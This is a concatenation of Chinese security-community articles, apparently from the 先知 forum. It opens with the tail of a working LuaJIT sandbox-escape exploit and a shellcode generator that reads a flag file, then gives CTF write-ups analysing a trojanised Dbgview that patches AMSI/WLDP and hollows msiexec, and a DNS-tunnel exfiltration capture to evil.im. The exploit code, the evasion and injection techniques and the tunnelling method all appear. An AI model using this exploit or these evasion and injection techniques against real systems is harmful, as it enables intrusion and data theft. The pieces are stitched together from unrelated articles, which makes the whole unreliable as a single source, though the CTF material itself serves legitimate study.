-- said frame to have certain special upvalues.
local function inner(...)
if false then
-- The following three lines turn into three bytecode
-- instructions. We munge the bytecode slightly, and then
-- later reinterpret the instructions as a cdata object,
-- which will end up being `cdata<const char *>: NULL`.
-- The `if false` wrapper ensures that the munged bytecode
-- isn't executed.
local cdata = -32749
cdata = 0
cdata = 0
end
-- Through the power of bytecode manipulation, the
-- following three functions will become (the fast paths of)
-- string.byte, string.char, and string.sub. This is
-- possible because LuaJIT has bytecode instructions
-- corresponding to the fast paths of said functions. Note
-- that we musn't stray from the fast path (because the
-- fallback C code won't be wired up). Also note that the
-- interpreter state will be slightly messed up after
-- calling one of these functions.
local function s_byte(s) end
local function s_char(i, _) end
local function s_sub(s, i, j) end
-- The following function does nothing, but calling it will
-- restore the interpreter state which was messed up following
-- a call to one of the previous three functions. Because this
-- function contains a cdata literal, loading it from bytecode
-- will result in the ffi library being initialised (but not
-- registered in the global namespace).
local function resync() return 0LL end
-- Helper function to reinterpret the first four bytes of a
-- string as a uint32_t, and return said value as a number.
local function s_uint32(s)
local result = 0
for i = 4, 1, -1 do
result = result * 256 + s_byte(s_sub(s, i, i))
resync()
end
return result
end
-- The following line obtains the address of the GCfuncL
-- object corresponding to "inner". As written, it just fetches
-- the 0th upvalue, and does some arithmetic. After some
-- bytecode manipulation, the 0th upvalue ends up pointing
-- somewhere very interesting: the frame info TValue containing
-- func|FRAME_VARG|delta. Because delta is small, this TValue
-- will end up being a denormalised number, from which we can
-- easily pull out 32 bits to give us the "func" part.
local iaddr = (inner * 2^1022 * 2^52) % 2^32
-- The following five lines read the "pc" field of the GCfuncL
-- we just obtained. This is done by creating a GCstr object
-- overlaying the GCfuncL, and then pulling some bytes out of
-- the string. Bytecode manipulation results in a nice KPRI
-- instruction which preserves the low 32 bits of the istr
-- TValue while changing the high 32 bits to specify that the
-- low 32 bits contain a GCstr*.
local istr = (iaddr - 4) + 2^52
istr = -32764 -- Turned into KPRI(str)
local pc = s_sub(istr, 5, 8)
istr = resync()
pc = s_uint32(pc)
-- The following three lines result in the local variable
-- called "memory" being `cdata<const char *>: NULL`. We can
-- subsequently use this variable to read arbitrary memory
-- (one byte at a time). Note again the KPRI trick to change
-- the high 32 bits of a TValue. In this case, the low 32 bits
-- end up pointing to the bytecode instructions at the top of
-- this function wrapped in `if false`.
local memory = (pc + 8) + 2^52
memory = -32758 -- Turned into KPRI(cdata)
memory = memory + 0
-- Helper function to read a uint32_t from any memory location.
local function m_uint32(offs)
local result = 0
for i = offs + 3, offs, -1 do
result = result * 256 + (memory[i] % 256)
end
return result
end
-- Helper function to extract the low 32 bits of a TValue.
-- In particular, for TValues containing a GCobj*, this gives
-- the GCobj* as a uint32_t. Note that the two memory reads
-- here are GCfuncL::uvptr[1] and GCupval::v.
local vaddr = m_uint32(m_uint32(iaddr + 24) + 16)
local function low32(tv)
v = tv
return m_uint32(vaddr)
end
-- Helper function which is the inverse of s_uint32: given a
-- 32 bit number, returns a four byte string.
local function ub4(n)
local result = ""
for i = 0, 3 do
local b = n % 256
n = (n - b) / 256
result = result .. s_char(b)
resync()
end
return result
end
local function hexdump_print(addr, len)
local result = ''
for i = 0, len - 1 do
if i % 16 == 0 and i ~= 0 then
result = result .. '\n'
end
result = result .. string.format('%02x', memory[addr + i] % 0x100) .. ' '
end
print(result)
end
-- The following four lines result in the local variable
-- called "mctab" containing a very special table: the
-- array part of the table points to the current Lua
-- universe's jit_State::patchins field. Consequently,
-- the table's [0] through [4] fields allow access to the
-- mcprot, mcarea, mctop, mcbot, and szmcarea fields of
-- the jit_State. Note that LuaJIT allocates the empty
-- string within global_State, so a fixed offset from the
-- address of the empty string gives the fields we're
-- after within jit_State.
local mctab_s = "\0\0\0\0\99\4\0\0".. ub4(low32("") + 2748)
.."\0\0\0\0\0\0\0\0\0\0\0\0\5\0\0\0\255\255\255\255"
local mctab = low32(mctab_s) + 16 + 2^52
mctab = -32757 -- Turned into KPRI(table)
-- Construct a string consisting of 4096 x86 NOP instructions.
--local nop4k = "\144"
local nop4k = "\0"
--[[
local zeros = '\0'
for i = 1, 12 do
zeros = zeros .. zeros
end
--]]
for i = 1, 12 do
nop4k = nop4k .. nop4k
end
-- Create a copy of the shellcode which is page aligned, and
-- at least one page big, and obtain its address in "asaddr".
local ashellcode = nop4k .. shellcode .. nop4k
local asaddr = low32(ashellcode) + 16
asaddr = asaddr + 2^12 - (asaddr % 2^12)
--print(asaddr)
--hexdump_print(0x100779f8, 0x30)
-- The following seven lines result in the memory protection of
-- the page at asaddr changing from read/write to read/execute.
-- This is done by setting the jit_State::mcarea and szmcarea
-- fields to specify the page in question, setting the mctop and
-- mcbot fields to an empty subrange of said page, and then
-- triggering some JIT compilation. As a somewhat unfortunate
-- side-effect, the page at asaddr is added to the jit_State's
-- linked-list of mcode areas (the shellcode unlinks it).
local mcarea = mctab[1]
mctab[0] = 0
mctab[1] = asaddr / 2^52 / 2^1022
mctab[2] = mctab[1]
mctab[3] = mctab[1]
mctab[4] = 2^12 / 2^52 / 2^1022
while mctab[0] == 0 do end
--[[
local mcarea = mctab[1]
--mctab[0] = 0xdeadbeef / 2^52 / 2^1022
mctab[0] = 0
mctab[1] = asaddr / 2^52 / 2^1022
mctab[2] = mctab[1]
mctab[3] = mctab[1]
mctab[3] = 0xdeadbeef / 2^52 / 2^1022
mctab[4] = 2^12 / 2^52 / 2^1022
--while mctab[0] == 0 do end
local i = 1
while i < 0x1000000 do
i = i + 1
--print(i)
end
--]]
-- The following three lines construct a GCfuncC object
-- whose lua_CFunction field is set to asaddr. A fixed
-- offset from the address of the empty string gives us
-- the global_State::bc_cfunc_int field.
local fshellcode = ub4(low32("") + 132) .."\0\0\0\0"..
ub4(asaddr) .."\0\0\0\0"
fshellcode = -32760 -- Turned into KPRI(func)
-- Finally, we invoke the shellcode (and pass it some values
-- which allow it to remove the page at asaddr from the list
-- of mcode areas).
fshellcode(mctab[1], mcarea)
end
inner()
end
-- Some helpers for manipulating bytecode:
local ffi = require "ffi"
local bit = require "bit"
local BC = {KSHORT = 41, KPRI = 43}
-- Dump the as-written evil function to bytecode:
local estr = string.dump(evil, true)
local buf = ffi.new("uint8_t[?]", #estr+1, estr)
local p = buf + 5
-- Helper function to read a ULEB128 from p:
local function read_uleb128()
local v = p[0]; p = p + 1
if v >= 128 then
local sh = 7; v = v - 128
repeat
local r = p[0]
v = v + bit.lshift(bit.band(r, 127), sh)
sh = sh + 7
p = p + 1
until r < 128
end
return v
end
-- The dumped bytecode contains several prototypes: one for "evil"
-- itself, and one for every (transitive) inner function. We step
-- through each prototype in turn, and tweak some of them.
while true do
local len = read_uleb128()
if len == 0 then break end
local pend = p + len
local flags, numparams, framesize, sizeuv = p[0], p[1], p[2], p[3]
p = p + 4
read_uleb128()
read_uleb128()
local sizebc = read_uleb128()
local bc = p
local uv = ffi.cast("uint16_t*", p + sizebc * 4)
if numparams == 0 and sizeuv == 3 then
-- This branch picks out the "inner" function.
-- The first thing we do is change what the 0th upvalue
-- points at:
uv[0] = uv[0] + 2
-- Then we go through and change everything which was written
-- as "local_variable = -327XX" in the source to instead be
-- a KPRI instruction:
for i = 0, sizebc do
if bc[0] == BC.KSHORT then
local rd = ffi.cast("int16_t*", bc)[1]
if rd <= -32749 then
bc[0] = BC.KPRI
bc[3] = 0
if rd == -32749 then
-- the `cdata = -32749` line in source also tweaks
-- the two instructions after it:
bc[4] = 0
bc[8] = 0
end
end
end
bc = bc + 4
end
elseif sizebc == 1 then
-- As written, the s_byte, s_char, and s_sub functions each
-- contain a single "return" instruction. We replace said
-- instruction with the corresponding fast-function instruction.
bc[0] = 147 + numparams
bc[2] = bit.band(1 + numparams, 6)
end
p = pend
end
function string.fromhex(str)
return (str:gsub('..', function (cc)
return string.char(tonumber(cc, 16))
end))
end
function string.tohex(str)
return (str:gsub('.', function (c)
return string.format('%02X', string.byte(c))
end))
end
res = string.tohex(ffi.string(buf, #estr))
local f = io.open("../../shellcode.hex", "wb")
f:write(ffi.string(res, #res))
f:close()
--print(res)
--a = loadstring(string.fromhex(res))
--print(a())
gen_shellcode.py
from pwn import *
context(arch='amd64', os='linux')
shellcode = r'''
pop rax
sub rax, 0x71187
mov rbp, rax
add rax, 0x73370
mov rdi, %s
push rdi
mov rdi, %s
push rdi
mov rdi, rsp
push 0
push 114
mov rsi, rsp
call rax
mov rcx, rax
mov rdi, rsp
mov rsi, 100
mov rdx, 100
mov rax, rbp
add rax, 0x733c0
call rax
mov rdi, 1
mov rsi, rsp
mov rdx, 100
mov rax, rbp
add rax, 0x73510
call rax
push 0
ret
'''
print(shellcode)
shellcode = shellcode % (u64('a/flag'.ljust(8, '\x00')), u64('/pkg/dat'))
with open('orig_exp.tpl.lua', 'r') as f:
content = f.read()
shellcode_hex = repr(asm(shellcode))
content = content.replace('{SHELLCODE_TPL}', shellcode_hex)
with open('orig_exp.lua', 'w') as f:
f.write(content)
## 总结
好吧我其实当时调的过程原比现在描述的更加难受。最开始按照bt去还原的时候还没有去调试和看过luajit代码，只是去对照，看的非常费劲还分析错了，以为是zircon内无法使用jit导致的。
看来以后要多注意这个问题，有的背景知识还是需要多去熟悉一下才能够完整掌握。
调代码还是很有趣的，开源真好。还是要不断学习才做的动题目呀。 | 社区文章 |
# 津门杯 Injected/Tunnel WP
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
周末的时候玩了一下津门杯，感觉遇到了几个比较有意思的题目，这边写一个wp用作记录。
## Injected
这个逆向题目比较有趣，考察了比较多的知识点。
### 寻找入口点
首先下载的文件叫做`Dbgview-Infected.exe`，并且整个icon就和Dbgview长得一样，结合题目来看，应该是
**修改了一个真正的dbgview** 。于是我们用ida打开检查一下，发现整个exe里面多了一个段:
这个`.easyre`明显是外部注入的代码段。但是观察会发现，大部分的地方并不能被解析成代码，大部分的地方不知道如何解释
单纯的逆向又会发现这部分的逻辑比较复杂，所以首先需要找到程序的入口点。考虑到这个程序是被静态注入的，那么
**只要能够找到原先的程序，进行简单的比较，应该能找到作者修改的部分**
我们这边检查一下文件的属性
可以发现是4.76.0的dbgview，这个版本的英文版本在网上很难找到下载的软件。不过联想到这个程序打开之后是一个中文的dbgview界面，这个会不会是国内的人汉化之后的版本呢？找了一圈之后真的找到了一个汉化的版本，正好也是4.76.0。于是直接跑一个bindiff对比一下:
对比后发现，确实有两个函数不一样，不过第一个函数`sub_0401a30`感觉可能是bindiff本身识别的问题，实际上代码非常相近。关键是第二个函数`sub_0040f8b0`
可以看到，注入的dbgview中，多了一段强制跳转的逻辑，很显然这就是题目的入口，我们跟随提示找到相关的代码:
if ( a2 == 272 )
{
v23.hInstance = hInstance;
v23.hwndOwner = dword_44F9E0;
v23.lStructSize = 76;
v23.lpstrFilter = "DebugView Dump (*.dmp)";
v23.lpstrCustomFilter = 0;
v23.nMaxCustFilter = 0;
v23.nFilterIndex = 1;
v23.lpstrFile = aMemoryDmp;
v23.nMaxFile = 260;
v23.lpstrFileTitle = 0;
v23.nMaxFileTitle = 0;
v23.lpstrInitialDir = 0;
v23.lpstrTitle = "Open crash dump...";
v23.nFileOffset = 0;
v23.nFileExtension = 0;
v23.lpstrDefExt = "*.dmp";
v23.lpfnHook = 0;
v23.Flags = 2103296;
GetOpenFileNameA(&v23);
dword_487000 = 65765608;
JUMPOUT(0x487000);
}
这边会将`65765608`赋值给`dword_487000`，此时这个地址会变成:
.easyre:00487004 ; --------------------------------------------------------------------------- .easyre:00487004 call loc_4C5B89
.easyre:00487004 ; --------------------------------------------------------------------------- ;--------------------- ;--------------------- ;--------------------- ;--------------------- .easyre:004C5B89 sub esp, 2CCh
.easyre:004C5B8F push ebx
.easyre:004C5B90 push ebp
.easyre:004C5B91 push esi
.easyre:004C5B92 mov esi, [esp+2DCh]
.easyre:004C5B99 xor ebx, ebx
.easyre:004C5B9B push edi
.easyre:004C5B9C mov edi, ebx
.easyre:004C5B9E mov eax, [esi+238h]
.easyre:004C5BA4 or eax, [esi+23Ch
这边就是注入地址的真正入口。从代码可以看到，这一段应该是dbgview中解析dmp的时候的相关逻辑，然后我们打开dbgview，和dmp相关的功能只有一处:
基本可以确认这边就是真正的程序入口。
回看到题目名称叫做`injected`，出了段注入之外，很容易想到的是 **可能存在远程线程注入**
。于是这边使用procmon观测程序，并且尝试触发程序入口，会发现有一个子进程启动的过程:
可以猜测到，这个程序肯定会有一个启动子进程的逻辑。
### 注入与动态调试
由于这段代码会有一些IDA无法处理的异常（或者我配置出现问题），这边使用x32dbg进行调试。首先我们一直调试，会发现整个代码将
**00487004+5，也就是我们的call指令之后的几个字节当作了数据段使用，将这个数据段存放在了esi中**
。代码检查了当前的数据段，并且发现再偏移238出的qword==0，于是跳转到了`sub_4C6CA9`
在这个函数，程序首先调用`sub_4C7C08`进行内存中的API加载，会加载如下的代码
* VirtualAlloc
* VirtualFree
* RtlExitUserProcess
那之后，程序会分配一个`[edi]`大小的内存堆块，分配一个可读写的内存块。之后会完成一个内存拷贝并且解密的过程。当完成了相关的check之后，便会尝试加载解密后内存中的指定的dll:
LoadLibrary = LoadFunction(addr, addr[12], addr[13], addr[10], addr[11]);
addr[12] = LoadLibrary;
if ( !LoadLibrary )
return -1;
v11 = (char *)(addr + 145);
while ( 1 )
{
v12 = *v11;
v13 = 0;
if ( !*v11 )
break;
v14 = v11;
do
{
if ( v12 == 59 )
break;
if ( v13 >= 0x104 )
break;
v14[v35 - v11] = v12;
++v13;
v12 = *++v14;
}
while ( *v14 );
if ( !v13 )
break;
v35[v13] = 0;
v11 += v13 + 1;
((void (__stdcall *)(char *))addr[12])(v35);
之后，会根据edi中指向的edi，完成剩余所有dll中的API导出:
if ( addr[144] > 1u )
{
v16 = addr + 13;
v17 = addr + 14;
do // addr[144] -> kernel32中的API个数
{
v18 = LoadFunction(addr, *v17, v17[1], addr[10], addr[11]);
*v16 = v18;
if ( !v18 )
goto LABEL_56;
++v15;
v17 += 2;
++v16;
}
while ( v15 < addr[144] );
}
之后，代码会比较`[edi+6e4]`处的flag，此时我们的flag为1，于是进入和1相关的处理逻辑:
.easyre:004C6E99 push edi
.easyre:004C6E9A call sub_4C5FE0
.easyre:004C6E9F pop ecx
.easyre:004C6EA0 test eax, eax
.easyre:004C6EA2 jnz short loc_4C6EB1
.easyre:004C6EA4 cmp dword ptr [edi+56Ch], 2
.easyre:004C6EAB jz loc_4C6FF2
.easyre:004C6EB1
.easyre:004C6EB1 loc_4C6EB1: ; CODE XREF: sub_4C6CA9+1F9↑j
.easyre:004C6EB1 push edi
.easyre:004C6EB2 call sub_4C60C6
.easyre:004C6EB7 pop ecx
.easyre:004C6EB8 test eax, eax
.easyre:004C6EBA jnz short loc_4C6EC9
.easyre:004C6EBC cmp dword ptr [edi+56Ch], 2
.easyre:004C6EC3 jz loc_4C6FF2
第一个函数`sub_4C5FE0`内部首先load了`Amsi`的dll，并且将其中的
* AmsiScanString
* AmsiScanBuffer
这两个API进行了patch:
上述的两个API为微软提供的一个可以用于扫描缓冲区/字符串中的恶意软件的API
(patch后的相关函数)
第二个函数`sub_4C60C6`则提供了关于wldp的load，并且将以下的函数进行了patch
* WldpQueryDynamicCodeTrust
* WldpIsClassInApprovedList
这两个函数是wldp提供的用于支持`DynmaicCodePolicy`策略的函数，详情可以参考[看雪的这篇文章](https://bbs.pediy.com/thread-230150.htm#msg_header_h2_9)，大致来讲就是，这两个API可以检查内存中的一些函数是否发生了hook，以及一些CLSID接口的函数是否是可信任的。通常来说，这两个函数可以用来检查前面提到的`AmsiScanString`，`AmsiScanBuffer`是否发生了hook，以及一些com对象是否被劫持。
完成了一些防御绕过之后，进入如下的逻辑:
switch ( *v20 )
{
case 3:
case 4:
sub_4C73B3(addr, v20);
break;
case 1:
case 2:
if ( sub_4C6AA9(addr, v20, v34) )
sub_4C706E(addr, v20, v34);
sub_4C6581(addr, v34);
break;
case 5:
case 6:
sub_4C77ED(addr, v20);
break;
}
初次运行到这边的时候，这边的值为4，于是进入`sub_4C73B3`。这边首先获取了当前程序的基地址，并且分配了一个大小为`44000`大的RWX空间。然后将一个之前从`.easyre`解密后的一个模块拷贝到了当前空间：
之后依然是读取Kernel32.dll，将相关的API填充到对应的位置上，最后跳转到指定的函数地址:
if ( *(_DWORD *)(a2 + 4) )
{
v35 = (*(int (__stdcall **)(_DWORD, _DWORD, void (__stdcall *)(_DWORD), _DWORD, _DWORD, _DWORD))(v2 + 92))(// CreateThread
0,
0,
entry,
0,
0,
0);
if ( v35 )
(*(void (__stdcall **)(int, int))(v2 + 88))(v35, -1);
}
else
{
entry(NtCurrentTeb()->ProcessEnvironmentBlock);
}
进入这段逻辑之后，会发现这段逻辑非常熟悉，基本类似于 **windows的main函数外部，用于准备各类全局变量和环境变量的加载部分** :
于是我们将这一段内存进行dump，可以看到主要逻辑:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // edi
struct _PROCESS_INFORMATION ProcessInformation; // [esp+8h] [ebp-324h] BYREF
CONTEXT Context; // [esp+18h] [ebp-314h] BYREF
struct _STARTUPINFOA StartupInfo; // [esp+2E4h] [ebp-48h] BYREF
((void (__cdecl *)(struct _STARTUPINFOA *, _DWORD, int))(&byte_28F518C + 4117))(&StartupInfo, 0, 68);
ProcessInformation = 0i64;
CreateProcessA(0, msiexec, 0, 0, 0, 4u, 0, 0, &StartupInfo, &ProcessInformation);
Context.ContextFlags = 65537;
GetThreadContext(ProcessInformation.hThread, &Context);
v3 = (char *)VirtualAllocEx(ProcessInformation.hProcess, 0, 0x278F0u, 0x1000u, 0x40u);
WriteProcessMemory(ProcessInformation.hProcess, v3, dword_29061E8, 0xED80u, 0);
WriteProcessMemory(ProcessInformation.hProcess, v3 + 60800, dword_2914F70, 0xED80u, 0);
WriteProcessMemory(ProcessInformation.hProcess, v3 + 121600, dword_2923CF8, 0x9DEEu, 0);
Context.Eip = (DWORD)v3;
Context.ContextFlags = 65537;
SetThreadContext(ProcessInformation.hThread, &Context);
ResumeThread(ProcessInformation.hThread);
Sleep(0xEA60u);
VirtualFreeEx(ProcessInformation.hProcess, v3, 0xED81u, 0x4000u);
return 0;
}
上述代码做了如下的事情:
* 创建了一个msiexec的进程，并且将其挂起
* 往进程地址空间写入了三段内存空间，经过调试可以知道，其中有两段是加密的数据段，还有一个和之前injected的代码段一致
* 使用ThreadContext修改了主线程的地址，然后重新运行线程，让子进程运行注入的shellcode
### 子进程调试以及最终解密
我们使用另一个x32dbg依附到子进程，并且根据我们父进程代码
Context.Eip = (DWORD)v3;
找到我们需要调试的函数地址:
然后让父进程运行到`ResumeThread`之后，子进程这边开始活动。我们直接让其运行到断点处，发现这边的代码大致上和`.easyre`开头的代码一致
之后的逻辑和之前很相似，也是进行了一些安全函数的Patch，然后解密一段逻辑，并且读取Kernel32中指定的API，最终跳转到一个被设置为RWX的内存空间上。最终我们用类似的方法找到对应的main函数地址:
int __cdecl main(int argc, const char **argv, const char **envp)
{
NumberOfBytesRead = 0;
Buffer[0] = 0;
sub_2E77100(&Buffer[1], 0, 999);
*(_DWORD *)v12 = 0x534B675B;
*(_WORD *)&v12[4] = 0x530F;
v12[6] = 0x63;
v3 = CreateFileA(aFlag, 0xC0000000, 0, 0, 3u, 0x80u, 0);
if ( v3 == (HANDLE)-1 )
{
GetLastError();
result = 0;
}
else
{
GetFileSizeEx(v3, &FileSize);
if ( FileSize.QuadPart >= 0xFFFFFFFFFi64
&& ReadFile(v3, Buffer, 0x19u, &NumberOfBytesRead, 0)
&& (!self_str_cmp((int)Buffer, aFlag_0, 5u) || Buffer[24] == '}') )
{
v5 = *(_DWORD *)&Buffer[16];
v6 = *(_DWORD *)&Buffer[20];
i = 0;
v13 = *(_DWORD *)&Buffer[12] + 0x6FC4108B;
while ( 1 )
{
v8 = Buffer[i + 5];
if ( v8 <= 97 || v8 >= 122 || sub_2E71CB0(v8, 2) != v12[i] )
break;
if ( (unsigned int)++i > 6 )
{
if ( *(_DWORD *)&Buffer[12] / 0x1DD7u == 0x18E82 )
{
v9 = 32;
v10 = 0;
do
{
v10 += v13;
v5 += (v10 + v6) ^ (*(_DWORD *)Buffer + 16 * v6) ^ (*(_DWORD *)&Buffer[4] + (v6 >> 5));
v6 += (v10 + v5) ^ (*(_DWORD *)&Buffer[12] + (v5 >> 5)) ^ (*(_DWORD *)&Buffer[8] + 16 * v5);
--v9;
}
while ( v9 );
*(_DWORD *)&Buffer[16] = v5;
*(_DWORD *)&Buffer[20] = v6;
if ( v5 == 0xC0CEE32 && v6 == 0xB7F3D728 )
{
v11 = sub_2E72A60();
sub_2E72D20(v11);
}
}
break;
}
}
}
result = 0;
}
return result;
}
于是可以分析出如下的逻辑:
* 代码首先会打开一个叫做flag的文件，并且其长度可以推测要为25
* 读入的字符串前五个字节为`flag{`，最后一个字母为`}`
* `sub_2E71CB0`函数会决定flag中（出去前缀）的前七个字符为多少，这个函数为一个简单的递归函数。
* 接下来的四个字符可通过运算得到
* 以前16个字符为密钥，剩下的内容为密文进行TEA加密
* 最终检查加密结果是否为`0xC0CEE32`和`0xB7F3D728`
于是我们可以根据上述逻辑写出最终的解题:
#include<iostream>
#include<string>
#include<Windows.h>
unsigned int __fastcall sub_4541CB0(unsigned __int8 chr, int num)
{
char v2; // al
int v3; // edx
unsigned int v4; // ebx
char v6; // [esp+Ch] [ebp-4h]
v2 = num;
v3 = num - 1;
v6 = v2;
if (v3 < 0)
{
v4 = chr;
}
else
{
v4 = sub_4541CB0(chr, v3);
v2 = v6;
}
return ((v4 & (1 << (6 - v2))) >> (2 * (3 - v2))) | ((v4 & (1 << v2)) << (2 * (3 - v2))) | v4 & ~(1 << v2) & ~(1 << (6 - v2));
}
void decrypt(uint32_t v[2], const uint32_t k[4]) {
unsigned int boundary = 0x18E82* 0x1DD7;
unsigned int delta = 0x9E3779B9;
unsigned int sum = 0xC6EF3720;
uint32_t v0 = v[0], v1 = v[1], i; /* set up; sum is 32*delta */
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 32; i++) { /* basic cycle start */
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
} /* end cycle */
v[0] = v0; v[1] = v1;
}
void encrypt(uint32_t v[2], const uint32_t k[4]) {
uint32_t v0 = v[0], v1 = v[1], sum = 0, i; /* set up */
uint32_t delta = 0x9E3779B9; /* a key schedule constant */
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 32; i++) { /* basic cycle start */
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
} /* end cycle */
v[0] = v0; v[1] = v1;
}
int main()
{
// msiex
unsigned char table[] = { 0x5b,0x67,0x4b,0x53,0x0f,0x53,0x63};
for (int i = 0; i < 7; i++)
{
for (unsigned char c = 0x61; c <= 0x7a; c++)
{
if (sub_4541CB0(c, 2) == table[i])
{
printf("%c", c);
break;
}
}
}
puts("----");
// .si.
unsigned int boundary = 0x2e73692e;
unsigned int num = boundary + 0x6FC4108B;
char buffer[10] = { 0 };
//unsigned int check[10] = { 0xC0CEE32 , 0xB7F3D728 };
unsigned char check[9] = "\x32\xee\x0c\x0c\x28\xd7\xf3\xb7";
// unsigned int check[2] = {0xB7F3D728,0xC0CEE32 };
unsigned char input_string[] = "flag{msiexec.is.";
decrypt((uint32_t*)check, (uint32_t*)input_string);
printf("%s\n", check);
}
至此，整个解题流程结束
## misc tunnel
本题通过出题的方式介绍了一种基于DNS的攻击手段
### 流量检查
从名字上看，本题应该是使用了某种通信的加密技术，打开流量包检查相关信息:
可以看到这边请求的url非常有规律，都是 **以evil.im作为后缀，并且前缀有类似base64后的字符串**
。根据以前搞事情的了解，这里应该是使用了一种叫做 **DNS tunnel** 的技巧。
### DNS tunnel
这边简单介绍一下这种技巧。DNS(Domain Name
System)，也就是域名解析系统，是一种能够将数字ip与域名形成映射的协议。DNS在解析的过程中，当本地没有缓存的时候，会尝试以
根服务器->顶级服务器->二级域名服务器 等递归的方式对url进行解析，最终找到url对应的真实IP
如上图。假设`test.com`对应的就是我们的服务器，那么dns请求最终就会得到我们的服务器的ip。那么，如果在这个基础上，我们再增加一个子域名，类似于`c2VjcmV0.test.com`，那么根据dns递归查找的原理，此时dns会
**尝试在我们的服务器上进行123的解析** ，最终会变成如下的形式:
于是，我们就通过dns请求，将我们想要传递的信息发送给了我们自己的服务器。
这种多此一举的操作是为啥呢？其实就是为了隐蔽传输的信息，将某些特殊的信息藏在dns流量中，甚至绕过某些认证，进行网络通信，这边就不仔细展开
### 解析dns
那么既然知道url中藏有重要的通信内容，这边就需要尝试分析流量。从图1可以知道，整个通信过程中似乎进行了A类和AAAA类两种请求方式，不过乍一看传输数据都是类似的，于是这边我们首先使用tshark将所有需要分析的dns解析的域名导出
tshark -r tunnel.pcap -T fields -e dns.qry.name -Y 'ip.src == 192.168.1.103 && ip.dst == 8.8.8.8 && dns.qry.type eq 1'
tshark -r tunnel.pcap -T fields -e dns.qry.name -Y 'ip.src == 192.168.1.103 && ip.dst == 8.8.8.8 && dns.qry.type eq 28'
这边1是A记录，28是AAAA记录。导出之后，我们比对一下两个导出结果的差异，会发现A记录比AAAA记录多了好几条，说明可能A才是我们要找的记录。然后我们将导出的dns
tunnel的数据进行解密:
import base64
fd = open("dns2.txt",'r')
content = []
for eachline in fd:
content.append(eachline)
fd.close()
print(content)
contents = b""
index = 0
passwd = []
for index in range(len(content)):
if "evil.im" in content[index]:
# if ("evil.im" in content[index] and
# (index ==0 or content[index-1] != content[index])):
eachline = content[index].strip()
print(eachline)
cont = eachline.split(".")[0]
if len(cont) % 4 != 0:
cont += '='*(4-(len(cont) % 4))
# contents += cont.encode("utf-8")
cont_out = base64.standard_b64decode(cont)
contents += cont_out
# out = base64.standard_b64decode(contents)
fd = open("out2",'wb')
fd.write(contents)
# fd.write(out)
fd.close()
解密完，会发现二进制文件经典PK头，所以又是一个zip包，打开后发现是一个加了密的图片。
### 密钥与base64
最初我以为密钥藏在了流量中，不过剩余流量并没有分析的价值，直到队友提醒可能和base64隐写有关。关于base64隐写，其实最关键的点就在于，base64在加密过程中，发生了信息膨胀，这就意味着
**这里进行了base64隐写** 。详情可以参考[这边博客](https://www.tr0y.wang/2017/06/14/Base64steg/)
这边尝试对第一条导出的base64进行了解码再编码，发现果然不相等，说明确实存在base64隐写的问题:
In [10]: test = b"UEsDBDMAAwBjAJ12k1KDFWibyjR="
In [11]: base64.standard_b64encode(base64.standard_b64decode(test))
Out[11]: b'UEsDBDMAAwBjAJ12k1KDFWibyjQ='
于是修改了一下导出脚本，将密钥导出也放在其中:
import base64
fd = open("dns2.txt",'r')
content = []
for eachline in fd:
content.append(eachline)
fd.close()
print(content)
contents = b""
index = 0
passwd = []
for index in range(len(content)):
if "evil.im" in content[index]:
# if ("evil.im" in content[index] and
# (index ==0 or content[index-1] != content[index])):
eachline = content[index].strip()
print(eachline)
cont = eachline.split(".")[0]
if len(cont) % 4 != 0:
cont += '='*(4-(len(cont) % 4))
# contents += cont.encode("utf-8")
passwd.append(cont)
cont_out = base64.standard_b64decode(cont)
contents += cont_out
# print(contents)
print(passwd)
# out = base64.standard_b64decode(contents)
fd = open("out2.zip",'wb')
fd.write(contents)
# fd.write(out)
fd.close()
# try to find password
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
bin_str = ''
result_offset = []
# fd = open("diff.txt",'r')
for eachline in passwd:
# eachline = eachline.strip()
# if len(eachline) % 4 != 0:
# eachline += '='*(4-(len(eachline) % 4))
# print(eachline)
out = base64.standard_b64encode(base64.standard_b64decode(eachline.encode('utf-8')))
print("test:"+eachline)
out = out.decode('utf-8')
if out != eachline:
print("encrypted!")
print(out,eachline)
offset = abs(b64chars.index(eachline.replace('=','')[-1])-b64chars.index(out.replace('=','')[-1]))
equalnum = eachline.count('=')
print(offset)
result_offset.append(offset)
if offset != 0:
# bin_str += bin(offset)[2:].zfill(equalnum * 2)
bin_str += bin(offset)[2:].zfill(equalnum * 2)
# bin_str += (4-equalnum*2)*'0'
# else:
# bin_str += '0' * equalnum * 2
print(bin_str)
else:
print("not encrypted!")
equalnum = eachline.count('=')
bin_str += '0' * equalnum * 2
print(''.join([chr(int(bin_str[i:i + 8], 2)) for i in range(0, len(bin_str), 8)]))
print(result_offset)
# for i in range(0, len(bin_str),8):
# print(chr(int(bin_str[i:i+8],2)))
可以隐藏的内容为:
password: B@%MG"6FjbS8^c#r
于是最终能够解开压缩包，得到答案。
## 一点思考
这次津门杯虽然有一些题目也是原题修改，不过我觉得Injected和tunnel两个题目还是非常有趣的。Injected中感觉使用了一种真实攻击样例中使用的工具进行题目的封装，里面甚至还有一些关于WLDQ的一些非常新的防御绕过的机制。而tunnel则是以出题的方式介绍了DNS
tunnel，这两个题目能作为引子，让人尝试了解DynamicCodePolicy以及DNS tunnel，个人感觉还是不错的。
## 参考链接
<https://www.tr0y.wang/2017/06/14/Base64steg/> | 社区文章 |
# 写在最前
**先知技术社区独家发表本文，如需要转载，请先联系先知技术社区或本人授权，未经授权请勿转载。**
# 0x00 前言
